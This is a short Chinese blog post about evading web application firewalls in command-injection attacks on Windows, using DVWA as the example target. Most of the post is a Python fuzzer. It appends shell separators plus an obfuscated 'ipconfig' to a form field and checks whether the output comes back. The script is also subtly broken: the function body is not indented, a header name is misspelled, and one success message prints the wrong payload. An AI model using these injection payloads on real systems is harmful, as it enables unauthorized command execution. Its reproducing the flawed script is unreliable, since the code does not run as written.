命令执行的时候绕过waf

  1. 前言
  2. 正文

前言

国庆第五天假期,才写了三篇博客。感觉有点不理想= =,这次写的是bypass命令执行,针对目标系统是windows的。

音乐:

正文

思路:

使用一些符号来对命令进行链接
执行指定命令,通过从网页上获取指定关键字判断是否成功bypass

代码:

#这里只是拿DVWA做个例子#
import requests
import optparse


def main():
    parser=optparse.OptionParser()
    parser.add_option('-u',dest='zru',help='Used for fuzzy testing')
    (options,args)=parser.parse_args()
    if options.zru:
        url=options.zru
        fuzz(url)
    else:
        parser.print_help()
        exit()

def fuzz(url):
cookies='PHPSESSID=70mpunbrle3mb6bfaiqieqf3p3;security=high'
cookie = {}
for k in str(cookies).strip().split(';'):
    key, value = k.split('=', 1)
    cookie[key] = value

urls=url
headers={'user-aegnt':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
payload=['|',';','||','&&','&']
payload_b=['-','$']
payload_c=['-']
payload_d=['$']
for p in payload:
    for pb in payload_b:
        for pc in payload_c:
            for pd in payload_d:
                pf=pc+pd
                datas={'ip':'127.0.0.1{}i{}p{}c{}o{}n{}f{}i{}g'.format(p,pb,pb,pb,pb,pb,pb,pb),'Submit':'Submit'}
                datas2={'ip': '127.0.0.1{}i{}p{}c{}o{}n{}f{}i{}g'.format(p, pf, pf, pf, pf, pf, pf, pf),'Submit': 'Submit'}
                reqt=requests.post(url=urls,headers=headers,cookies=cookie,data=datas)
                reqt2=requests.post(url=urls,headers=headers,cookies=cookie,data=datas2)
                if 'Windows IP' in reqt.text:
                    print('[+] Bypass success URL:{} data:{}'.format(reqt.url,datas))
                if 'Windows IP' in reqt2.text:
                    print('[+] Bypass success URL:{} data:{}'.format(reqt.url, datas))

if __name__ == '__main__':
    main()

测试:

转载请注明转自422926799@qq.com


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:命令执行的时候绕过waf

本文作者:九世

发布时间:2018-10-05, 13:19:12

最后更新:2019-04-19, 20:36:16

原始链接:http://jiushill.github.io/posts/5fc52f43.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录